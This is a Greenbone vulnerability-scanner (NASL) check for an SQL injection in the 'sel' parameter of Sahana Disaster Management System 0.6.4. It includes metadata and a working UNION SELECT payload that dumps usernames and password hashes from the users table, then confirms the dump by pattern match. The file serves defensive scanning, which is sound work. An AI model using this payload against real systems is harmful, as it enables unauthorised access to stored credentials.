Sahana Disaster Management System 'sel' Parameter SQL Injection Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103014");
  script_version("2023-07-28T05:05:23+0000");
  script_tag(name:"last_modification", value:"2023-07-28 05:05:23 +0000 (Fri, 28 Jul 2023)");
  script_tag(name:"creation_date", value:"2011-01-05 15:07:33 +0100 (Wed, 05 Jan 2011)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Sahana Disaster Management System 'sel' Parameter SQL Injection Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("sahana_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("sahana/detected");

  script_tag(name:"summary", value:"Sahana Disaster Management System is prone to an SQL-injection
  vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.");

  script_tag(name:"impact", value:"Exploiting this issue could allow an attacker to compromise the
  application, access or modify data, or exploit latent vulnerabilities in the underlying database.");

  script_tag(name:"affected", value:"Sahana Disaster Management System 0.6.4 is vulnerable. Other versions
  may also be vulnerable.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/45638");
  script_xref(name:"URL", value:"http://www.sahanafoundation.org/");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

CPE = "cpe:/a:sahana:sahana";

if(!port = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:port)) exit(0);
if(dir == "/") dir = "";

url = string(dir,"/www/xml.php?act=add_loc&sel=1/**/UNION/**/SELECT/**/null,concat(CHAR(60,66,82,62),concat_ws(char(58),user_name,password)),null/**/FROM/**/users");

if(http_vuln_check(port:port, url:url, pattern:"[a-zA-Z0-9_-]+:[a-f0-9]{32}")) {
  report = http_report_vuln_url(url:url, port:port);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);